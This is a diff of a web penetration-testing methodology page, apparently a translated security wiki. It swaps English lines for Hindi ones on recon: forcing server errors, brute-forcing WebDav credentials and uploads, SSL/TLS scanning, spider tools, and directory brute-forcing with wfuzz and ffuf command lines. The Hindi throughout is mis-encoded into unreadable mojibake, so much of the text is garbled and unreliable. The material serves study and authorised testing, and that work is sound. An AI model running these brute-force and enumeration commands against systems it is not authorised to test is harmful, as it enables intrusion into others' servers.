-### рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЬрд╛рдБрдЪ
+### Initial checks
-**рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЗрдЬ рдЬрд┐рдирдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рд╣реЛ:**
+**Default pages with interesting info:**
- /robots.txt
- /sitemap.xml
@@ -167,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- рдореБрдЦреНрдп рдФрд░ рджреНрд╡рд┐рддреАрдпрдХ рдкреЗрдЬреЛрдВ рдореЗрдВ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рднреА рдЬрд╛рдВрдЪреЗрдВред
-**рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛**
+**Forcing errors**
-Web servers рдЬрдм рдЕрдЬреАрдм рдбреЗрдЯрд╛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рддрд░реАрдХреЗ рд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ vulnerabilities рдЦреБрд▓ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
+рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЬрдм рдЕрд╕рд╛рдорд╛рдиреНрдп рдбреЗрдЯрд╛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ **рдЕрдирдкреЗрдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЗрд╕рд╕реЗ **vulnerabilities** рдЦреБрд▓ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ **disclosure sensitive information** рдЙрдЬрд╛рдЧрд░ рд╣реЛ рд╕рдХрддреА рд╣реИред
-- /whatever_fake.php (.aspx,.html,.etc) рдЬреИрд╕реЗ fake pages рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ
-- рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдкреИрджрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **cookie values** рдФрд░ **parameter values** рдореЗрдВ **"\[]", "]]", рдФрд░ "\[["** рдЬреЛрдбрд╝реЗрдВ
-- **URL** рдХреЗ **end** рдкрд░ **`/~randomthing/%s`** рдЬреИрд╕рд╛ рдЗрдирдкреБрдЯ рджреЗрдХрд░ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
-- PATCH, DEBUG рдЬреИрд╕реЗ рдпрд╛ FAKE рдЬреИрд╕реЗ рдЧрд▓рдд **HTTP Verbs** рдЖрдЬрд╝рдорд╛рдПрдБ
+- /whatever_fake.php (.aspx,.html,.etc) рдЬреИрд╕реЗ **fake pages** рддрдХ рдкрд╣реБрдБрдЪреЗрдВ
+- **Add "\[]", "]]", and "\[["** рдХреЛ **cookie values** рдФрд░ **parameter values** рдореЗрдВ рдЬреЛрдбрд╝рдХрд░ рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ
+- URL рдХреЗ **end** рдкрд░ рдЗрдирдкреБрдЯ рджреЗрдХрд░ error рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ, рдЙрджрд╛рд╣рд░рдг: **`/~randomthing/%s`**
+- PATCH, DEBUG рдЬреИрд╕реЗ рдЕрд▓рдЧ HTTP Verbs рдпрд╛ FAKE рдЬреИрд╕реЗ рдЧрд▓рдд verbs рдЖрдЬрд╝рдорд╛рдПрдБ
-#### **рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
-рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ **WebDav** рд╕рдХреНрд░рд┐рдп рд╣реИ рдкрд░ root рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **uploading files** рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд permissions рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ:
+рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ **WebDav** **enabled** рд╣реИ рд▓реЗрдХрд┐рди root рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **uploading files** рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд permissions рдирд╣реАрдВ рд╣реИрдВ рддреЛ рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ:
- **Brute Force** credentials
-- WebDav рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **Upload files** рдХреЛ рд╡реЗрдм рдкреЗрдЬ рдХреЗ рдмрд╛рдХреА рдорд┐рд▓реЗ рд╣реБрдП рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдЖрдкрдХреЛ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА permissions рдорд┐рд▓реЗрдВред
+- WebDav рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдм рдкреЗрдЬ рдХреЗ рдЕрдВрджрд░ рдорд┐рд▓реЗ рд╣реБрдП рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░реНрд╕ (rest of found folders) рдореЗрдВ **Upload files** рдХрд░реЗрдВред рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░реНрд╕ рдореЗрдВ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА permissions рд╣реЛрдВред
-### **SSL/TLS рдХрдордЬреЛрд░рд┐рдпрд╛рдБ**
+### **SSL/TLS vulnerabilites**
-- рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд┐рд╕реА рднреА рд╣рд┐рд╕реНрд╕реЗ рдореЗрдВ рдпреВрдЬрд░ рдХреЛ HTTPS рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ MitM рдХреЗ рдкреНрд░рддрд┐ vulnerable рд╣реИ
-- рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ (passwords) HTTP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреЗрдЬ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдЙрдЪреНрдЪ vulnerability рд╣реИред
+- рдпрджрд┐ application рдХрд┐рд╕реА рд╣рд┐рд╕реНрд╕реЗ рдореЗрдВ **HTTPS** рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлреЛрд░реНрд╕ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ **vulnerable to MitM** рд╣реИ
+- рдпрджрд┐ application рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ (passwords) **HTTP** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдЙрдЪреНрдЪ severity vulnerability рд╣реИред
-Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
+[**testssl.sh**](https://github.com/drwetter/testssl.sh) рдХрд╛ рдЙрдкрдпреЛрдЧ **vulnerabilities** рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ (Bug Bounty programs рдореЗрдВ рд╕рдВрднрд╡рддрдГ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА vulnerabilities рд╕реНрд╡реАрдХрд╛рд░ рдирд╣реАрдВ рдХреА рдЬрд╛рддреАрдВ) рдФрд░ рдкреБрдирдГ рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП [**a2sv**](https://github.com/hahwul/a2sv) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -197,58 +196,58 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul
sslscan
sslyze --regular
```
-SSL/TLS рдХрдордЬрд╝реЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА:
+Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
-рд╡реЗрдм рдХреЗ рдЕрдВрджрд░ рдХрд┐рд╕реА рддрд░рд╣ рдХрд╛ **spider** рдЪрд▓рд╛рдПрдБред spider рдХрд╛ рд▓рдХреНрд╖реНрдп рдкрд░реАрдХреНрд╖рдг рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ application рд╕реЗ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ **paths** **рдЦреЛрдЬрдирд╛** рд╣реИред рдЗрд╕рд▓рд┐рдП, web crawling рдФрд░ external sources рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ valid paths рдЦреЛрдЬреЗ рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдПред
+рд▓рдХреНрд╖реНрдп рдпрд╣ рд╣реИ рдХрд┐ рд╡реЗрдм рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рди рдХреЛрдИ рдкреНрд░рдХрд╛рд░ рдХрд╛ **spider** рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред spider рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЯреЗрд╕реНрдЯ рдХреА рдЬрд╛ рд░рд╣реА application рд╕реЗ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ **paths рдвреВрдБрдврдирд╛** рд╣реИред рдЗрд╕рд▓рд┐рдП web crawling рдФрд░ рдмрд╛рд╣рд░реА рд╕реНрд░реЛрддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд┐рддрдиреЗ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдиреЗ рд╡реИрдз paths рдЦреЛрдЬрдиреЗ рдЪрд╛рд╣рд┐рдПред
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
-- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
-- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
-- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
-- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ LinkFinder рдФрд░ рдмрд╛рд╣рд░реА рд╕реНрд░реЛрддреЛрдВ (Archive.org, CommonCrawl.org, VirusTotal.com) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП LinkFider рдФрд░ Archive.org рдХреЛ рдмрд╛рд╣рд░реА рд╕реНрд░реЛрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, "juicy files" рдХреА рдкрд╣рдЪрд╛рди рднреА рдмрддрд╛рддрд╛ рд╣реИред
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spiderред рдпрд╣ Archive.org рдореЗрдВ рднреА рдЦреЛрдЬрддрд╛ рд╣реИред
+- [**meg**](https://github.com/tomnomnom/meg) (go): рдпрд╣ рдЯреВрд▓ spider рдирд╣реАрдВ рд╣реИ рдкрд░ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк hosts рдХреА рдПрдХ рдлрд╝рд╛рдЗрд▓ рдФрд░ paths рдХреА рдПрдХ рдлрд╝рд╛рдЗрд▓ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ meg рд╣рд░ host рдкрд░ рд╣рд░ path рдХреЛ fetch рдХрд░рдХреЗ response рд╕реЗрд╡ рдХрд░ рджреЗрдЧрд╛ред
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering рдХреНрд╖рдорддрд╛рдУрдВ рд╡рд╛рд▓рд╛ HTML spiderред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ unmaintained рд╣реИ, precompiled version рдкреБрд░рд╛рдирд╛ рд╣реИ рдФрд░ рд╡рд░реНрддрдорд╛рди рдХреЛрдб compile рдирд╣реАрдВ рд╣реЛрддрд╛ред
+- [**gau**](https://github.com/lc/gau) (go): рдмрд╛рд╣рд░реА providers (wayback, otx, commoncrawl) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ HTML spiderред
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): рдпрд╣ script parameter рд╡рд╛рд▓реЗ URLs рдЦреЛрдЬреЗрдЧрд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдЧрд╛ред
+- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering рдХреНрд╖рдорддрд╛рдУрдВ рд╡рд╛рд▓рд╛ HTML spiderред
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдЬреЛ JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдирдП paths рдЦреЛрдЬ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ wrapper [JSScanner](https://github.com/dark-warlord14/JSScanner) рднреА рджреЗрдЦрдиреЗ рд▓рд╛рдпрдХ рд╣реИред
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML source рдФрд░ embedded javascript рдлрд╝рд╛рдЗрд▓реЛрдВ рджреЛрдиреЛрдВ рд╕реЗ endpoints рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдПред bug hunters, red teamers, infosec ninjas рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреАред
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado рдФрд░ JSBeautifier рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ JavaScript рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ relative URLs parse рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ python 2.7 scriptред AJAX requests рдЦреЛрдЬрдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреАред рд▓рдЧрддрд╛ рд╣реИ unmaintainedред
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ (HTML) рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рдП рддреЛ рдпрд╣ рдПрдХ рдирд┐рдлреНрдЯреА regular expression рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ ugly (minify) рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ relative URLs рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): рдХрдИ рдЯреВрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ JS рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдЗрдХрдЯреНрдард╛ рдХрд░рддрд╛ рд╣реИред
+- [**subjs**](https://github.com/lc/subjs) (go): JS рдлрд╝рд╛рдЗрд▓реЗрдВ рдвреВрдБрдврддрд╛ рд╣реИред
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): рдПрдХ headless browser рдореЗрдВ рдкреЗрдЬ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреЗрдЬ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЛрдб рдХрд┐рдП рдЧрдП рд╕рднреА urls рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИред
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool рдЬреЛ рдкрд┐рдЫрд▓реЗ рдХрдИ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИред
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ path рдФрд░ params рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ Burp extensionред
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): рдпрд╣ рдЯреВрд▓ .js.map URL рджрд┐рдП рдЬрд╛рдиреЗ рдкрд░ beautified JS code рд▓рд╛ рджреЗрддрд╛ рд╣реИред
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): рдХрд┐рд╕реА рджрд┐рдП рдЧрдП target рдХреЗ рд▓рд┐рдП endpoints рдЦреЛрдЬрдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреАред
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine рд╕реЗ links рдЦреЛрдЬреЗрдВ (wayback рдореЗрдВ responses рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рдФрд░ рд╡рд╣рд╛рдБ рдФрд░ links рдЦреЛрдЬрдирд╛ рднреА)ред
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (forms рднрд░рдХрд░ рднреА) рдХрд░рддрд╛ рд╣реИ рдФрд░ specific regexes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ sensitive info рднреА рдвреВрдБрдврддрд╛ рд╣реИред
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite рдПрдХ рдПрдбрд╡рд╛рдВрд╕ multi-feature GUI web security Crawler/Spider рд╣реИ рдЬрд┐рд╕реЗ cyber security professionals рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): рдпрд╣ рдПрдХ Go package рдФрд░ [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) рд╣реИ рдЬреЛ JavaScript source code рд╕реЗ URLs, paths, secrets, рдФрд░ рдЕрдиреНрдп рджрд┐рд▓рдЪрд╕реНрдк рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge рдПрдХ simple **Burp Suite extension** рд╣реИ рдЬреЛ request рд╕реЗ **paramters рдФрд░ endpoints extract** рдХрд░рдХреЗ fuzzing рдФрд░ enumeration рдХреЗ рд▓рд┐рдП custom wordlist рдмрдирд╛рддрд╛ рд╣реИред
+- [**katana**](https://github.com/projectdiscovery/katana) (go): рдЗрд╕ рдХрд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рд╛рдирджрд╛рд░ рдЯреВрд▓ред
+- [**Crawley**](https://github.com/s0rg/crawley) (go): рдкрд╛рдП рдЧрдП рд╣рд░ link рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░рддрд╛ рд╣реИред
### Brute Force directories and files
-рд░реВрдЯ рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ **brute-forcing** рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдк рдЗрд╕ **method** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рдП рдЧрдП рд╕рднреА **directories** рдФрд░ **Spidering** рд╕реЗ рдЦреЛрдЬреЗ рдЧрдП рд╕рднреА directories рдХреЛ рднреА brute-force рдХрд░реЗрдВ (рдЖрдк рдЗрд╕реЗ **recursively** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ wordlist рдХреЗ рд╢реБрд░реБрдЖрдд рдореЗрдВ рдкрд╛рдП рдЧрдП directory рдХреЗ рдирд╛рдо рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ)ред\
+root рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ **brute-forcing** рд╢реБрд░реВ рдХрд░реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдиреЗ рдЗрд╕ **method** рд╕реЗ рдкрд╛рдП рдЧрдП рд╕рднреА **directories** рдФрд░ Spidering рджреНрд╡рд╛рд░рд╛ **discovered** рдХрд┐рдП рдЧрдП рд╕рднреА directories рдкрд░ рднреА brute-force рдХрд┐рдпрд╛ рд╣реИ (рдЖрдк рдЗрд╕реЗ **recursively** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ wordlist рдХреЗ рд╢реБрд░реБрдЖрдд рдореЗрдВ рдкрд╛рдП рдЧрдП directories рдХреЗ рдирд╛рдо рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ)ред\
Tools:
-- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
+- **Dirb** / **Dirbuster** - Kali рдореЗрдВ рд╢рд╛рдорд┐рд▓, **рдкреБрд░рд╛рдирд╛** (рдФрд░ **рдзреАрдорд╛**) рдкрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдоред auto-signed certificates рдФрд░ recursive search рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдмрд╛рдХреА рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрд╣реБрдд slowред
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: рдпрд╣ auto-signed certificates рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рдкрд░** recursive search рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): рдпрд╣ auto-signed certificates рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЗрд╕рдореЗрдВ **recursive** search рдирд╣реАрдВ рд╣реИред
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
